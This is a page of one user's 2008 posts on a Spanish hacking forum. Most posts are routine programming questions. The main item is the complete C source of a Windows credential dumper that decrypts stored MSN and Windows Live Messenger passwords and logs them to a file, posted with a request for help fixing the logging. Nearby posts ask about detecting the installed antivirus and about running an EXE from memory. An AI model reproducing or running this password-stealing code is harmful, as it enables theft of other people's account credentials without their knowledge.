elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8
21  Programación / Programación Visual Basic / Re: ApagaPC (SOURCE) en: 9 Junio 2008, 03:38 am
claro que no hay problema, todo es bienvenido
22  Programación / Programación Visual Basic / Re: Enviar Email (SOURCE) en: 9 Junio 2008, 03:08 am
seria bueno si se pudiera enviar mensajes con HTML
y poder cambiar el remitente
23  Programación / Programación C/C++ / Re: problema con escritura de archivos en: 6 Junio 2008, 21:20 pm
Gracias!!!!!
voy a averiguar para comprender mejor esto: sprintf

no sabia ni que hacer, gracias!!!!!!  :-*
24  Programación / Programación Visual Basic / Re: Comprobar password de usuario de windows desde VB en: 6 Junio 2008, 01:46 am
esto para que es?  sDomain??
supongamos que yo haga un llamado a esa funcion
msgbox ValidateSysPassword("mipassword","admin", ????????????????)

???
25  Programación / Programación Visual Basic / Re: Obtener nombre del antivirus y firewall instalado en Visual Basic 6.0 en: 5 Junio 2008, 23:47 pm
Gracias, es increible esoo
26  Programación / Programación C/C++ / problema con escritura de archivos en: 5 Junio 2008, 23:45 pm
estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++
alguien me ayuda??

creo que mi problema radica en esta linea:
printf("Password : %ls\n\n", CredentialCollection->CredentialBlob);

por esto: %ls

como solucionoo?

Código
  1. /* Programa que recupera contraseñas almacenadas con Microsoft Messenger,
  2.  * basado en el código original de Gregory R. Panakkal, http://www.infogreg.com
  3.  * modificado para Windows Live Messenger. XP SP2
  4.  * Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger.
  5.  * Compilar con Visual C++ 6.
  6.  * By dSx.
  7.  */
  8. #include<windows.h>
  9. #include<stdio.h>
  10. #include <fstream.h>
  11.  
  12. using namespace std;
  13.  
  14. typedef struct _CREDENTIAL_ATTRIBUTEA {
  15.  LPSTR Keyword;
  16.  DWORD Flags;
  17.  DWORD ValueSize;
  18.  LPBYTE Value;
  19. } CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;
  20.  
  21. typedef struct _CREDENTIALA {
  22.  DWORD Flags;
  23.  DWORD Type;
  24.  LPSTR TargetName;
  25.  LPSTR Comment;
  26.  FILETIME LastWritten;
  27.  DWORD CredentialBlobSize;
  28.  LPBYTE CredentialBlob;
  29.  DWORD Persist;
  30.  DWORD AttributeCount;
  31.  PCREDENTIAL_ATTRIBUTEA Attributes;
  32.  LPSTR TargetAlias;
  33.  LPSTR UserName;
  34. } CREDENTIALA, *PCREDENTIALA;
  35.  
  36. typedef struct _CRYPTOAPI_BLOB {
  37.  DWORD  cbData;
  38.  BYTE*  pbData;
  39. } DATA_BLOB;
  40.  
  41. typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
  42. DWORD   cbSize;
  43. DWORD   dwPromptFlags;
  44. HWND    hwndApp;
  45. LPCWSTR  szPrompt;
  46. } CRYPTPROTECT_PROMPTSTRUCT;
  47.  
  48. typedef CREDENTIALA CREDENTIAL;
  49. typedef PCREDENTIALA PCREDENTIAL;
  50.  
  51.  
  52. typedef BOOL (WINAPI *typeCryptUnprotectData)(
  53.           DATA_BLOB *,
  54.           LPWSTR *,
  55.           DATA_BLOB *,
  56.           PVOID *,          
  57.           CRYPTPROTECT_PROMPTSTRUCT *,
  58.           DWORD,
  59.           DATA_BLOB *
  60. );
  61. typedef BOOL (WINAPI *typeCredEnumerateA)(
  62.           LPCTSTR,
  63.           DWORD,
  64.           DWORD *,
  65.           PCREDENTIALA **
  66. );
  67. typedef BOOL (WINAPI *typeCredReadA)(
  68.           LPCTSTR,
  69.           DWORD,
  70.           DWORD,
  71.           PCREDENTIALA *
  72. );
  73. typedef VOID (WINAPI *typeCredFree)(PVOID);
  74.  
  75. typeCredEnumerateA pfCredEnumerateA;
  76. typeCredReadA pfCredReadA;
  77. typeCredFree pfCredFree;
  78. typeCryptUnprotectData pfCryptUnprotectData;
  79.  
  80. void showBanner(void);
  81.  
  82.  
  83. int main()
  84. {
  85. showBanner();
  86.  PCREDENTIAL *CredentialCollection = NULL;
  87.  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
  88.  
  89.  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  90.  short int EntropyData[37];
  91.  short int tmp, pnet, j;
  92.  
  93.  HMODULE hDLL, hDLL2;
  94.  DWORD Count, i;
  95.  
  96.  
  97.  
  98.  
  99.  if (hDLL = LoadLibrary("advapi32.dll")) {
  100.   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
  101.   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
  102.   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
  103.  
  104.   if (pfCredEnumerateA == NULL ||
  105.     pfCredReadA == NULL ||
  106.     pfCredFree == NULL) {
  107.  
  108.     printf("Error!\n");
  109.     return -1;
  110.   }
  111.  }
  112.  
  113.  if (hDLL2 = LoadLibrary("crypt32.dll")) {
  114.   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
  115.  
  116.   if (pfCryptUnprotectData == NULL) {
  117.     printf("Error!\n");
  118.     return -1;
  119.   }
  120.  }
  121.  
  122.  pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection);
  123.  printf("\nCount: %d\n", Count);
  124.  //Calculate Entropy Data
  125.  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
  126.   tmp = (short int)szEntropyStringSeed[i];
  127.   tmp <<= 2;
  128.   EntropyData[i] = tmp;
  129.  }
  130.  
  131.  if (Count) {
  132.  
  133.   for (i = 0; i < Count; i++) {
  134.     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
  135.     if (!pnet) {
  136.      blobEntropy.pbData = (BYTE *)&EntropyData;
  137.      blobEntropy.cbData = 74; //sizeof(EntropyData)
  138.  
  139.      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
  140.      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
  141.  
  142.      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
  143.      //showBanner(CredentialCollection[i]->UserName);
  144.  
  145.  
  146.      //log << "asdasdasdas";
  147.      printf("<-- MSN Messenger -->\n");  
  148.      printf("Username : %s\n", CredentialCollection[i]->UserName);
  149.      printf("Password : %ls\n\n", blobPlainText.pbData);
  150.  
  151.     } else {
  152.     ofstream log("Passwords.txt", ios::app);
  153.      printf("<-- Windows Live Messenger -->\n");
  154.      printf("Username : %s\n", CredentialCollection[i]->TargetName);
  155.      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
  156.  
  157.      log <<  "<-- Windows Live Messenger -->\n";
  158.      log << "Username: " << CredentialCollection[i]->TargetName << "\n";
  159.      log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
  160.  
  161.     }
  162.   }
  163.  }
  164.  pfCredFree(CredentialCollection);
  165.  getchar();
  166.  getchar();
  167.  
  168.  return EXIT_SUCCESS;
  169. }
  170.  
  171. void showBanner()
  172. {
  173. printf("Passwords\n");
  174. }
  175.  
27  Programación / Programación Visual Basic / [Source] Obtener nombre del antivirus y firewall instalado con Visual Basic 6.0 en: 5 Junio 2008, 21:35 pm
tengo la necesidad de saber como puedo obtener el nombre del antivirus instalado, estaba pensando mirar en el registro, pero no se donde debe estar ese nombrecesito, habia pensado en tambien detectar los procesos y saber asi que antivirus usa, porque por ejemplo el kaspersky: avg.exe, y asi....


editado:
Gracias por su ayuda, esta listo.
28  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / Re: Nokia N95 Internet via Bluetooth en: 5 Junio 2008, 14:40 pm
Citar
puede comprar un AP (Acess Point)

donde consigo eso? es fiable? porque quiero pasar internet a mi otra Pc que esta en el primer piso y no se podria hacer por cables, y que tanta distancia es recomendable para al navegar no tener problemas ???
29  Programación / Programación Visual Basic / Re: Run EXE from memory (Source) en: 2 Junio 2008, 02:22 am
no entiendo el codigo, osea, quiero saber la idea, en que se basa...
como es que logra poder inyectarse en la memoria,
alguien podria explicar cada api? osea la idea principal ... eso seria mejor que postear el codigo; porque lo que quiero es aprender, por eso...
podrias explicar parte del codigo cobein? a veces google me confunde un poco.
bueno, si pudieras explicar seria muy bueno para todos, y tu TugHack se que no me explicaras, a ti ni te pido nada porque te intentas sobrar y discriminar a los que menos saben; tampoco te critico de l mal mnera, pero tus ideas serian mas brillantes si enseñaras (no solo postear el code, sino enseñar cada idea cada razonamiento) para asi todos aprender para mas.
 :D

esperoq ue alguien me comprenda.
30  Programación / Programación Visual Basic / Re: CaptureS (source) en: 18 Mayo 2008, 23:20 pm
intente tomar la clase para agregala a un nuevo proyecto y poder usar el tray pero no logro hacerlo funcionar
Código
  1. Private Sub Form_Load()
  2. Set f_cSystray = New cSystray
  3.  Call ConfigureSystray
  4. End Sub
  5. Private Sub ConfigureSystray()
  6.    With f_cSystray
  7.        .SysTrayIconFromRes "ICON_0"
  8.        .SysTrayToolTip = "C"
  9.        .SysTrayShow
  10.    End With
  11. End Sub
  12.  

le agrege un icono a mi proyecto: editor de recursos, agregar icono; pero no va.. nose si puedes hacer un tutorial a como usar la clase... gracias
Páginas: 1 2 [3] 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines